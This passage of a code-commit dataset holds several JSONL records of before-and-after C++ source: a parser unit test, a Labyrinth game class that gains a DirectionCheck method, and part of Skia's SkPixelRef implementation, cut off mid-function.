true;\n\t\t});\n\t\tBOOST_CHECK(has_failed);\n\t}\n\n\ttemplate <class Base>\n\tstruct down_caster\n\t{\n\t\tdown_caster(Base const &base)\n\t\t\t: m_base(&base)\n\t\t{\n\t\t}\n\n\t\ttemplate <class Down>\n\t\toperator Down const &() const\n\t\t{\n\t\t\tassert(m_base);\n\t\t\treturn dynamic_cast<Down const &>(*m_base);\n\t\t}\n\n\tprivate:\n\n\t\tBase const *m_base;\n\t};\n\n\ttemplate <class Handler>\n\tvoid check_expression(p0::expression_tree const &expression, Handler const &handler)\n\t{\n\t\thandler(down_caster<p0::expression_tree>(expression));\n\t}\n\n\ttemplate <class Handler>\n\tvoid check_statement(p0::statement_tree const &statement, Handler const &handler)\n\t{\n\t\thandler(down_caster<p0::statement_tree>(statement));\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(parse_empty_file_test)\n{\n\tcheck_valid_source(\"\", [](p0::function_tree const &ast)\n\t{\n\t\tBOOST_CHECK(ast.parameters().empty());\n\t\tcheck_statement(ast.body(), [](p0::block_tree const &block)\n\t\t{\n\t\t\tBOOST_CHECK(block.body().empty());\n\t\t});\n\t});\n}\n\nBOOST_AUTO_TEST_CASE(parse_return_test)\n{\n\tcheck_valid_source(\"return null\", [](p0::function_tree const &ast)\n\t{\n\t\tBOOST_CHECK(ast.parameters().empty());\n\t\tcheck_statement(ast.body(), [](p0::block_tree const &block)\n\t\t{\n\t\t\tBOOST_REQUIRE(block.body().size() == 1);\n\t\t\tcheck_statement(*block.body()[0], [](p0::return_tree const &return_)\n\t\t\t{\n\t\t\t\tcheck_expression(return_.value(), [](p0::null_expression_tree const &)\n\t\t\t\t{\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t});\n}\n\nBOOST_AUTO_TEST_CASE(parse_load_module_test)\n{\n\tcheck_valid_source(\"import name\", [](p0::function_tree const &ast)\n\t{\n\t\tBOOST_CHECK(ast.parameters().empty());\n\t\tcheck_statement(ast.body(), [](p0::block_tree const &block)\n\t\t{\n\t\t\tBOOST_REQUIRE(block.body().size() == 1);\n\t\t\tcheck_statement(*block.body()[0], [](p0::expression_statement_tree const &statement)\n\t\t\t{\n\t\t\t\tcheck_expression(statement.expression(), [](p0::import_expression_tree const &load_module)\n\t\t\t\t{\n\t\t\t\t\tcheck_expression(load_module.name(), [](p0::name_expression_tree const &name)\n\t\t\t\t\t{\n\t\t\t\t\t\tBOOST_CHECK(\"name\" == p0::source_range_to_string(name.name()));\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t});\n}\n\nBOOST_AUTO_TEST_CASE(missing_expression_test)\n{\n\tcheck_invalid_source(\"return \", 7);\n\tcheck_invalid_source(\"import \", 7);\n\tcheck_invalid_source(\"5 + \", 4);\n\tcheck_invalid_source(\"f((((***\", 5);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Update FTPClient.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Author: Jeffrey Leung\n * Last edited: 2015-09-19\n *\n * This C++ file contains the implementation of the Labyrinth class, which uses\n * the Room class to create a 2-d mapping for a game.\n *\n *\/\n\n#include <cmath>\n#include <iostream>\n#include <stdexcept>\n\n#include \"..\/include\/room_properties.hpp\"\n#include \"..\/include\/room.hpp\"\n#include \"..\/include\/coordinate.hpp\"\n#include \"..\/include\/labyrinth.hpp\"\n\n\/\/ CONSTRUCTOR\/DESTRUCTOR:\n\n\/\/ Parameterized constructor\n\/\/ An exception is thrown if:\n\/\/   A size of 0 is given (invalid_argument)\nLabyrinth::Labyrinth( unsigned int x_size, unsigned int y_size )\n{\n  if( x_size == 0 )\n  {\n    if( y_size == 0 )\n    {\n      throw std::invalid_argument( \"Error: Labyrinth() was given empty x and \"\\\n        \"y sizes.\" );\n    }\n    else\n    {\n      throw std::invalid_argument( \"Error: Labyrinth() was given an empty \"\\\n        \"x size.\" );\n    }\n  }\n  else if( y_size == 0 )\n  {\n    throw std::invalid_argument( \"Error: Labyrinth() was given an empty \"\\\n      \"y size.\" );\n  }\n\n  rooms_ = new Room*[ y_size ];\n  for( unsigned int i = 0; i < y_size; ++i )\n  {\n    rooms_[i] = new Room[ x_size ];\n  }\n\n  x_size_ = x_size;\n  y_size_ = y_size;\n}\n\n\/\/ Destructor\nLabyrinth::~Labyrinth()\n{\n  for( unsigned int i = 0; i < y_size_; ++i )\n  {\n    delete [] rooms_[i];\n  }\n  delete [] rooms_;\n}\n\n\/\/ SETUP:\n\n\/\/ This method connects two Rooms by breaking their walls.\n\/\/ An exception is thrown if:\n\/\/   The Rooms are already connected (logic_error)\n\/\/   The Rooms are the same (logic_error)\n\/\/   The Rooms are not adjacent (logic_error)\n\/\/   One or both Rooms are outside the Labyrinth (invalid_argument)\nvoid Labyrinth::ConnectRooms( Coordinate rm_1, Coordinate rm_2 )\n{\n  if( rm_1 == rm_2 )\n  {\n    throw std::logic_error( \"Error: ConnectRooms() was given the same \"\\\n      \"coordinate for the two Rooms.\" );\n  }\n\n  else if( !WithinBounds(rm_1) || !WithinBounds(rm_2) )\n  {\n    if( !WithinBounds(rm_1) )\n    {\n      if( !WithinBounds(rm_2) )\n      {\n        throw std::invalid_argument( \"Error: ConnectRooms() was given invalid \"\\\n          \"coordinates for both rm_1 and rm_2.\" );\n      }\n      else\n      {\n        throw std::invalid_argument( \"Error: ConnectRooms() was given \"\\\n          \"an invalid coordinate for rm_1.\" );\n      }\n    }\n\n    else\n    {\n      throw std::invalid_argument( \"Error: ConnectRooms() was given an \"\\\n        \"invalid coordinate for rm_2.\" );\n    }\n  }\n\n  else if( !IsAdjacent(rm_1, rm_2) )\n  {\n    throw std::logic_error( \"Error: ConnectRooms() was given two coordinates \"\\\n      \"which are not adjacent, and therefore cannot be connected.\" );\n  }\n\n  unsigned int x_distance = rm_2.x - rm_1.x;\n  unsigned int y_distance = rm_2.y - rm_1.y;\n\n  Direction break_wall_1;\n  Direction break_wall_2;\n\n  if( x_distance == 0 )\n  {\n    if( y_distance > 0 )  \/\/ rm_1 is north of rm_2\n    {\n      break_wall_1 = Direction::kSouth;\n      break_wall_2 = Direction::kNorth;\n    }\n    else  \/\/ rm_1 is south of rm_2\n    {\n      break_wall_1 = Direction::kNorth;\n      break_wall_2 = Direction::kSouth;\n    }\n  }\n\n  else if( y_distance == 0 )\n  {\n    if( x_distance > 0 )  \/\/ rm_1 is west of rm_2\n    {\n      break_wall_1 = Direction::kEast;\n      break_wall_2 = Direction::kWest;\n    }\n    else  \/\/ rm_1 is east of rm_2\n    {\n      break_wall_1 = Direction::kWest;\n      break_wall_2 = Direction::kEast;\n    }\n  }\n\n  else\n  {\n    throw std::logic_error( \"Error: ConnectRooms() called IsAdjacent(), \"\\\n      \"which should have evaluated to false, but did not.\" );\n  }\n\n  RoomAt(rm_1).BreakWall(break_wall_1);\n  RoomAt(rm_2).BreakWall(break_wall_2);\n  return;\n}\n\n\/\/ PRIVATE METHODS:\n\n\/\/ This private method returns a reference to the Room at the given\n\/\/ coordinate.\n\/\/ An exception is thrown if:\n\/\/   The Room is outside the Labyrinth (invalid_argument)\nRoom& Labyrinth::RoomAt( Coordinate rm ) const\n{\n  if( !WithinBounds(rm) )\n  {\n    throw std::invalid_argument( \"Error: RoomAt() was given an invalid \"\\\n      \"coordinate for rm.\" );\n  }\n  return rooms_[rm.x][rm.y];\n}\n\n\/\/ This private method returns true if the Room is within the bounds of\n\/\/ the Labyrinth, and false otherwise.\nbool Labyrinth::WithinBounds( Coordinate rm ) const\n{\n  return(    0 < rm.x    &&\n          rm.x < x_size_ &&\n             0 < rm.y    &&\n          rm.y < y_size_ );\n}\n\n\/\/ This private method returns true if the two Rooms are adjacent, and\n\/\/ false otherwise.\n\/\/ An exception is thrown if:\n\/\/   One or both Rooms are outside the Labyrinth (invalid_argument)\n\/\/   The same Room is given twice (logic_error)\nbool Labyrinth::IsAdjacent( Coordinate rm_1, Coordinate rm_2 ) const\n{\n  if( !WithinBounds(rm_1) )\n  {\n    if( !WithinBounds(rm_2) )\n    {\n      throw std::invalid_argument( \"Error: IsAdjacent() was given invalid \"\\\n      \"coordinates for both rm_1 and rm_2.\" );\n    }\n    else\n    {\n      throw std::invalid_argument( \"Error: IsAdjacent() was given an invalid \"\\\n      \"coordinate for rm_1.\" );\n    }\n  }\n  else if( !WithinBounds(rm_2) )\n  {\n    throw std::invalid_argument( \"Error: IsAdjacent() was given an invalid \"\\\n      \"coordinate for rm_2.\" );\n  }\n\n  if( rm_1 == rm_2 )\n  {\n    throw std::logic_error( \"Error: IsAdjacent() was given the same \"\\\n      \"coordinate for the Rooms.\" );\n  }\n\n  unsigned int x_distance = abs( rm_1.x - rm_2.x );\n  unsigned int y_distance = abs( rm_1.y - rm_2.y );\n\n  if( ( x_distance == 0 && y_distance == 1 ) ||\n      ( x_distance == 1 && y_distance == 0 ) )\n  {\n    return true;\n  }\n  return false;\n}\n<commit_msg>Implementing Laby DirectionCheck().<commit_after>\/*\n *\n * Author: Jeffrey Leung\n * Last edited: 2015-09-19\n *\n * This C++ file contains the implementation of the Labyrinth class, which uses\n * the Room class to create a 2-d mapping for a game.\n *\n *\/\n\n#include <cmath>\n#include <iostream>\n#include <stdexcept>\n\n#include \"..\/include\/room_properties.hpp\"\n#include \"..\/include\/room.hpp\"\n#include \"..\/include\/coordinate.hpp\"\n#include \"..\/include\/labyrinth.hpp\"\n\n\/\/ CONSTRUCTOR\/DESTRUCTOR:\n\n\/\/ Parameterized constructor\n\/\/ An exception is thrown if:\n\/\/   A size of 0 is given (invalid_argument)\nLabyrinth::Labyrinth( unsigned int x_size, unsigned int y_size )\n{\n  if( x_size == 0 )\n  {\n    if( y_size == 0 )\n    {\n      throw std::invalid_argument( \"Error: Labyrinth() was given empty x and \"\\\n        \"y sizes.\" );\n    }\n    else\n    {\n      throw std::invalid_argument( \"Error: Labyrinth() was given an empty \"\\\n        \"x size.\" );\n    }\n  }\n  else if( y_size == 0 )\n  {\n    throw std::invalid_argument( \"Error: Labyrinth() was given an empty \"\\\n      \"y size.\" );\n  }\n\n  rooms_ = new Room*[ y_size ];\n  for( unsigned int i = 0; i < y_size; ++i )\n  {\n    rooms_[i] = new Room[ x_size ];\n  }\n\n  x_size_ = x_size;\n  y_size_ = y_size;\n}\n\n\/\/ Destructor\nLabyrinth::~Labyrinth()\n{\n  for( unsigned int i = 0; i < y_size_; ++i )\n  {\n    delete [] rooms_[i];\n  }\n  delete [] rooms_;\n}\n\n\/\/ SETUP:\n\n\/\/ This method connects two Rooms by breaking their walls.\n\/\/ An exception is thrown if:\n\/\/   The Rooms are already connected (logic_error)\n\/\/   The Rooms are the same (logic_error)\n\/\/   The Rooms are not adjacent (logic_error)\n\/\/   One or both Rooms are outside the Labyrinth (invalid_argument)\nvoid Labyrinth::ConnectRooms( Coordinate rm_1, Coordinate rm_2 )\n{\n  if( rm_1 == rm_2 )\n  {\n    throw std::logic_error( \"Error: ConnectRooms() was given the same \"\\\n      \"coordinate for the two Rooms.\" );\n  }\n\n  else if( !WithinBounds(rm_1) || !WithinBounds(rm_2) )\n  {\n    if( !WithinBounds(rm_1) )\n    {\n      if( !WithinBounds(rm_2) )\n      {\n        throw std::invalid_argument( \"Error: ConnectRooms() was given invalid \"\\\n          \"coordinates for both rm_1 and rm_2.\" );\n      }\n      else\n      {\n        throw std::invalid_argument( \"Error: ConnectRooms() was given \"\\\n          \"an invalid coordinate for rm_1.\" );\n      }\n    }\n\n    else\n    {\n      throw std::invalid_argument( \"Error: ConnectRooms() was given an \"\\\n        \"invalid coordinate for rm_2.\" );\n    }\n  }\n\n  else if( !IsAdjacent(rm_1, rm_2) )\n  {\n    throw std::logic_error( \"Error: ConnectRooms() was given two coordinates \"\\\n      \"which are not adjacent, and therefore cannot be connected.\" );\n  }\n\n  unsigned int x_distance = rm_2.x - rm_1.x;\n  unsigned int y_distance = rm_2.y - rm_1.y;\n\n  Direction break_wall_1;\n  Direction break_wall_2;\n\n  if( x_distance == 0 )\n  {\n    if( y_distance > 0 )  \/\/ rm_1 is north of rm_2\n    {\n      break_wall_1 = Direction::kSouth;\n      break_wall_2 = Direction::kNorth;\n    }\n    else  \/\/ rm_1 is south of rm_2\n    {\n      break_wall_1 = Direction::kNorth;\n      break_wall_2 = Direction::kSouth;\n    }\n  }\n\n  else if( y_distance == 0 )\n  {\n    if( x_distance > 0 )  \/\/ rm_1 is west of rm_2\n    {\n      break_wall_1 = Direction::kEast;\n      break_wall_2 = Direction::kWest;\n    }\n    else  \/\/ rm_1 is east of rm_2\n    {\n      break_wall_1 = Direction::kWest;\n      break_wall_2 = Direction::kEast;\n    }\n  }\n\n  else\n  {\n    throw std::logic_error( \"Error: ConnectRooms() called IsAdjacent(), \"\\\n      \"which should have evaluated to false, but did not.\" );\n  }\n\n  RoomAt(rm_1).BreakWall(break_wall_1);\n  RoomAt(rm_2).BreakWall(break_wall_2);\n  return;\n}\n\n\/\/ PLAY:\n\n\/\/ This method returns the type of RoomBorder in the given direction.\n\/\/ An exception is thrown if:\n\/\/   The Room is outside the Labyrinth (invalid_argument)\n\/\/   Direction d is kNone (invalid_argument)\nRoomBorder Labyrinth::DirectionCheck( Coordinate rm, Direction d ) const\n{\n  if( !WithinBounds(rm) )\n  {\n    throw std::invalid_argument( \"Error: DirectionCheck() was given a \"\\\n      \"Coordinate outside of the Labyrinth.\" );\n  }\n  else if( d == Direction::kNone )\n  {\n    throw std::invalid_argument( \"Error: DirectionCheck() was given an \"\\\n      \"invalid direction (kNone).\" );\n  }\n\n  return RoomAt(rm).DirectionCheck(d);\n}\n\n\/\/ PRIVATE METHODS:\n\n\/\/ This private method returns a reference to the Room at the given\n\/\/ coordinate.\n\/\/ An exception is thrown if:\n\/\/   The Room is outside the Labyrinth (invalid_argument)\nRoom& Labyrinth::RoomAt( Coordinate rm ) const\n{\n  if( !WithinBounds(rm) )\n  {\n    throw std::invalid_argument( \"Error: RoomAt() was given an invalid \"\\\n      \"coordinate for rm.\" );\n  }\n  return rooms_[rm.x][rm.y];\n}\n\n\/\/ This private method returns true if the Room is within the bounds of\n\/\/ the Labyrinth, and false otherwise.\nbool Labyrinth::WithinBounds( Coordinate rm ) const\n{\n  return(    0 < rm.x    &&\n          rm.x < x_size_ &&\n             0 < rm.y    &&\n          rm.y < y_size_ );\n}\n\n\/\/ This private method returns true if the two Rooms are adjacent, and\n\/\/ false otherwise.\n\/\/ An exception is thrown if:\n\/\/   One or both Rooms are outside the Labyrinth (invalid_argument)\n\/\/   The same Room is given twice (logic_error)\nbool Labyrinth::IsAdjacent( Coordinate rm_1, Coordinate rm_2 ) const\n{\n  if( !WithinBounds(rm_1) )\n  {\n    if( !WithinBounds(rm_2) )\n    {\n      throw std::invalid_argument( \"Error: IsAdjacent() was given invalid \"\\\n      \"coordinates for both rm_1 and rm_2.\" );\n    }\n    else\n    {\n      throw std::invalid_argument( \"Error: IsAdjacent() was given an invalid \"\\\n      \"coordinate for rm_1.\" );\n    }\n  }\n  else if( !WithinBounds(rm_2) )\n  {\n    throw std::invalid_argument( \"Error: IsAdjacent() was given an invalid \"\\\n      \"coordinate for rm_2.\" );\n  }\n\n  if( rm_1 == rm_2 )\n  {\n    throw std::logic_error( \"Error: IsAdjacent() was given the same \"\\\n      \"coordinate for the Rooms.\" );\n  }\n\n  unsigned int x_distance = abs( rm_1.x - rm_2.x );\n  unsigned int y_distance = abs( rm_1.y - rm_2.y );\n\n  if( ( x_distance == 0 && y_distance == 1 ) ||\n      ( x_distance == 1 && y_distance == 0 ) )\n  {\n    return true;\n  }\n  return false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmapCache.h\"\n#include \"SkMutex.h\"\n#include \"SkPixelRef.h\"\n#include \"SkTraceEvent.h\"\n\n\/\/#define SK_SUPPORT_LEGACY_UNBALANCED_PIXELREF_LOCKCOUNT\n\/\/#define SK_TRACE_PIXELREF_LIFETIME\n\n#ifdef SK_BUILD_FOR_WIN32\n    \/\/ We don't have SK_BASE_MUTEX_INIT on Windows.\n\n    \/\/ must be a power-of-2. undef to just use 1 mutex\n    #define PIXELREF_MUTEX_RING_COUNT       32\n    static SkBaseMutex gPixelRefMutexRing[PIXELREF_MUTEX_RING_COUNT];\n\n#else\n    static SkBaseMutex gPixelRefMutexRing[] = {\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n        SK_BASE_MUTEX_INIT, SK_BASE_MUTEX_INIT,\n    };\n    \/\/ must be a power-of-2. undef to just use 1 mutex\n    #define PIXELREF_MUTEX_RING_COUNT SK_ARRAY_COUNT(gPixelRefMutexRing)\n\n#endif\n\nstatic SkBaseMutex* get_default_mutex() {\n    static int32_t gPixelRefMutexRingIndex;\n\n    SkASSERT(SkIsPow2(PIXELREF_MUTEX_RING_COUNT));\n\n    \/\/ atomic_inc might be overkill here. It may be fine if once in a while\n    \/\/ we hit a race-condition and two subsequent calls get the same index...\n    int index = sk_atomic_inc(&gPixelRefMutexRingIndex);\n    return &gPixelRefMutexRing[index & (PIXELREF_MUTEX_RING_COUNT - 1)];\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SkNextID.h\"\n\nuint32_t SkNextID::ImageID() {\n    static uint32_t gID = 0;\n    uint32_t id;\n    \/\/ Loop in case our global wraps around, as we never want to return a 0.\n    do {\n        id = sk_atomic_fetch_add(&gID, 2u) + 2;  \/\/ Never set the low bit.\n    } while (0 == id);\n    return id;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SkPixelRef::setMutex(SkBaseMutex* mutex) {\n    if (NULL == mutex) {\n        mutex = get_default_mutex();\n    }\n    fMutex = mutex;\n}\n\n\/\/ just need a > 0 value, so pick a funny one to aid in debugging\n#define SKPIXELREF_PRELOCKED_LOCKCOUNT     123456789\n\nstatic SkImageInfo validate_info(const SkImageInfo& info) {\n    SkAlphaType newAlphaType = info.alphaType();\n    SkAssertResult(SkColorTypeValidateAlphaType(info.colorType(), info.alphaType(), &newAlphaType));\n    return info.makeAlphaType(newAlphaType);\n}\n\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    static int32_t gInstCounter;\n#endif\n\nSkPixelRef::SkPixelRef(const SkImageInfo& info)\n    : fInfo(validate_info(info))\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n    , fStableID(SkNextID::ImageID())\n#endif\n\n{\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    SkDebugf(\" pixelref %d\\n\", sk_atomic_inc(&gInstCounter));\n#endif\n    this->setMutex(NULL);\n    fRec.zero();\n    fLockCount = 0;\n    this->needsNewGenID();\n    fMutability = kMutable;\n    fPreLocked = false;\n    fAddedToCache.store(false);\n}\n\n\nSkPixelRef::SkPixelRef(const SkImageInfo& info, SkBaseMutex* mutex)\n    : fInfo(validate_info(info))\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n    , fStableID(SkNextID::ImageID())\n#endif\n{\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    SkDebugf(\" pixelref %d\\n\", sk_atomic_inc(&gInstCounter));\n#endif\n    this->setMutex(mutex);\n    fRec.zero();\n    fLockCount = 0;\n    this->needsNewGenID();\n    fMutability = kMutable;\n    fPreLocked = false;\n    fAddedToCache.store(false);\n}\n\nSkPixelRef::~SkPixelRef() {\n#ifndef SK_SUPPORT_LEGACY_UNBALANCED_PIXELREF_LOCKCOUNT\n    SkASSERT(SKPIXELREF_PRELOCKED_LOCKCOUNT == fLockCount || 0 == fLockCount);\n#endif\n\n#ifdef SK_TRACE_PIXELREF_LIFETIME\n    SkDebugf(\"~pixelref %d\\n\", sk_atomic_dec(&gInstCounter) - 1);\n#endif\n    this->callGenIDChangeListeners();\n}\n\nvoid SkPixelRef::needsNewGenID() {\n    fTaggedGenID.store(0);\n    SkASSERT(!this->genIDIsUnique()); \/\/ This method isn't threadsafe, so the assert should be fine.\n}\n\nvoid SkPixelRef::cloneGenID(const SkPixelRef& that) {\n    \/\/ This is subtle.  We must call that.getGenerationID() to make sure its genID isn't 0.\n    uint32_t genID = that.getGenerationID();\n\n    \/\/ Neither ID is unique any more.\n    \/\/ (These & ~1u are actually redundant.  that.getGenerationID() just did it for us.)\n    this->fTaggedGenID.store(genID & ~1u);\n    that. fTaggedGenID.store(genID & ~1u);\n\n    \/\/ This method isn't threadsafe, so these asserts should be fine.\n    SkASSERT(!this->genIDIsUnique());\n    SkASSERT(!that. genIDIsUnique());\n}\n\nstatic void validate_pixels_ctable(const SkImageInfo& info, const SkColorTable* ctable) {\n    if (info.isEmpty()) {\n        return; \/\/ can't require ctable if the dimensions are empty\n    }\n    if (kIndex_8_SkColorType == info.colorType()) {\n        SkASSERT(ctable);\n    } else {\n        SkASSERT(NULL == ctable);\n    }\n}\n\nvoid SkPixelRef::setPreLocked(void* pixels, size_t rowBytes, SkColorTable* ctable) {\n    SkASSERT(pixels);\n    validate_pixels_ctable(fInfo, ctable);\n    \/\/ only call me in your constructor, otherwise fLockCount tracking can get\n    \/\/ out of sync.\n    fRec.fPixels = pixels;\n    fRec.fColorTable = ctable;\n    fRec.fRowBytes = rowBytes;\n    fLockCount = SKPIXELREF_PRELOCKED_LOCKCOUNT;\n    fPreLocked = true;\n}\n\n\/\/ Increments fLockCount only on success\nbool SkPixelRef::lockPixelsInsideMutex() {\n    fMutex->assertHeld();\n\n    if (1 == ++fLockCount) {\n        SkASSERT(fRec.isZero());\n        if (!this->onNewLockPixels(&fRec)) {\n            fRec.zero();\n            fLockCount -= 1;    \/\/ we return fLockCount unchanged if we fail.\n            return false;\n        }\n    }\n    if (fRec.fPixels) {\n        validate_pixels_ctable(fInfo, fRec.fColorTable);\n        return true;\n    }\n    return false;\n}\n\n\/\/ For historical reasons, we always inc fLockCount, even if we return false.\n\/\/ It would be nice to change this (it seems), and only inc if we actually succeed...\nbool SkPixelRef::lockPixels() {\n    SkASSERT(!fPreLocked || SKPIXELREF_PRELOCKED_LOCKCOUNT == fLockCount);\n\n    if (!fPreLocked) {\n        TRACE_EVENT_BEGIN0(\"skia\", \"SkPixelRef::lockPixelsMutex\");\n        SkAutoMutexAcquire  ac(*fMutex);\n        TRACE_EVENT_END0(\"skia\", \"SkPixelRef::lockPixelsMutex\");\n        SkDEBUGCODE(int oldCount = fLockCount;)\n        bool success = this->lockPixelsInsideMutex();\n        \/\/ lockPixelsInsideMutex only increments the count if it succeeds.\n        SkASSERT(oldCount + (int)success == fLockCount);\n\n        if (!success) {\n            \/\/ For compatibility with SkBitmap calling lockPixels, we still want to increment\n            \/\/ fLockCount even if we failed. If we updated SkBitmap we could remove this oddity.\n            fLockCount += 1;\n            return false;\n        }\n    }\n    if (fRec.fPixels) {\n        validate_pixels_ctable(fInfo, fRec.fColorTable);\n        return true;\n    }\n    return false;\n}\n\nbool SkPixelRef::lockPixels(LockRec* rec) {\n    if (this->lockPixels()) {\n        *rec = fRec;\n        return true;\n    }\n    return false;\n}\n\nvoid SkPixelRef::unlockPixels() {\n    SkASSERT(!fPreLocked || SKPIXELREF_PRELOCKED_LOCKCOUNT == fLockCount);\n\n    if (!fPreLocked) {\n        SkAutoMutexAcquire  ac(*fMutex);\n\n        SkASSERT(fLockCount > 0);\n        if (0 == --fLockCount) {\n            \/\/ don't call onUnlockPixels unless onLockPixels succeeded\n            if (fRec.fPixels) {\n                this->onUnlockPixels();\n                fRec.zero();\n            } else {\n                SkASSERT(fRec.isZero());\n            }\n        }\n    }\n}\n\nbool SkPixelRef::requestLock(const LockRequest& request, LockResult* result) {\n    SkASSERT(result);\n    if (request.fSize.isEmpty()) {\n        return false;\n    }\n    \/\/ until we support subsets, we have to check this...\n    if (request.fSize.width() != fInfo.width() || request.fSize.height() != fInfo.height()) {\n        return false;\n    }\n\n    if (fPreLocked) {\n        result->fUnlockProc = NULL;\n        result->fUnlockContext = NULL;\n        result->fCTable = fRec.fColorTable;\n        result->fPixels = fRec.fPixels;\n        result->fRowBytes = fRec.fRowBytes;\n        result->fSize.set(fInfo.width(), fInfo.height());\n    } else {\n        SkAutoMutexAcquire  ac(*fMutex);\n        if (!this->onRequestLock(request, result)) {\n            return false;\n        }\n    }\n    if (result->fPixels) {\n        validate_pixels_ctable(fInfo, result->fCTable);\n        return true;\n    }\n    return false;\n}\n\nbool SkPixelRef::lockPixelsAreWritable() const {\n    return this->onLockPixelsAreWritable();\n}\n\nbool SkPixelRef::onLockPixelsAreWritable() const {\n    return true;\n}\n\nuint32_t SkPixelRef::getGenerationID() const {\n    uint32_t id = fTaggedGenID.load();\n    if (0 == id) {\n        uint32_t next = SkNextID::ImageID() | 1u;\n        if (fTaggedGenID.compare_exchange(&id, next)) {\n            id = next;  \/\/ There was no race or we won the race.  fTaggedGenID is next now.\n        } else {\n            \/\/ We lost a race to set fTaggedGenID. compare_exchange() filled id with the winner.\n        }\n        \/\/ We can't quite SkASSERT(this->genIDIsUnique()). It could be non-unique\n        \/\/ if we got here via the else path (pretty unlikely, but possible).\n    }\n    return id & ~1u;  \/\/ Mask off bottom unique bit.\n}\n\nvoid SkPixelRef::addGenIDChangeListener(GenIDChangeListener* listener) {\n    if (NULL == listener || !this->genIDIsUnique()) {\n        \/\/ No point in tracking this if we're not going to call it.\n        SkDELETE(listener);\n        return;\n    }\n    *fGenIDChangeListeners.append() = listener;\n}\n\n\/\/ we need to be called *before* the genID gets changed or zerod\nvoid SkPixelRef::callGenIDChangeListeners() {\n    \/\/ We don't invalidate ourselves if we think another SkPixelRef is sharing our genID.\n    if (this->genIDIsUnique()) {\n        for (int i = 0; i < fGenIDChangeListeners.count(); i++) {\n            fGenIDChangeListeners[i]->onChange();\n        }\n\n        \/\/ TODO: SkAtomic could add \"old_value = atomic.xchg(new_value)\" to make this clearer.\n        if (fAddedToCache.load()) {\n            SkNotifyBitmapGenIDIsStale(this->getGenerationID());\n            fAddedToCache.store(false);\n        }\n    }\n    \/\/ Listeners get at most one shot, so whether these triggered or not, blow them away.\n    fGenIDChangeListeners.deleteAll();\n}\n\nvoid SkPixelRef::notifyPixelsChanged() {\n#ifdef SK_DEBUG\n    if (this->isImmutable()) {\n        SkDebugf(\"========== notifyPixelsChanged called on immutable pixelref\");\n    }\n#endif\n    this->callGenIDChangeListeners();\n    this->needsNewGenID();\n    this->onNotifyPixelsChanged();\n}\n\nvoid SkPixelRef::changeAlphaType(SkAlphaType at) {\n    *const_cast<SkImageInfo*>(&fInfo) = fInfo.makeAlphaType(at);\n}\n\nvoid SkPixelRef::setImmutable() {\n    fMutability = kImmutable;\n}\n\nvoid SkPixelRef::setImmutableWithID(uint32_t genID) {\n    \/*\n     *  We are forcing the genID to match an external value. The caller must ensure that this\n     *  value does not conflict with other content.\n     *\n     *  One use is to force this pixelref's id to match an SkImage's id\n     *\/\n    fMutability = kImmutable;\n    fTaggedGenID.store(genID);\n}\n\nvoid SkPixelRef::setTemporarilyImmutable() {\n    SkASSERT(fMutability != kImmutable);\n    fMutability = kTemporarilyImmutable;\n}\n\nvoid SkPixelRef::restoreMutability() {\n    SkASSERT(fMutability != kImmutable);\n    fMutability = kMutable;\n}\n\nbool SkPixelRef::readPixels(SkBitmap* dst, const SkIRect* subset) {\n    return this->onReadPixels(dst, subset);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkPixelRef::onReadPixels(SkBitmap* dst, const SkIRect* subset) {\n    return false;\n}\n\nvoid SkPixelRef::onNotifyPixelsChanged() { }\n\nSkData* SkPixelRef::onRefEncodedData() {\n    return NULL;\n}\n\nbool SkPixelRef::onGetYUV8Planes(SkISize sizes[3], void* planes[3], size_t rowBytes[3],\n                                 SkYUVColorSpace* 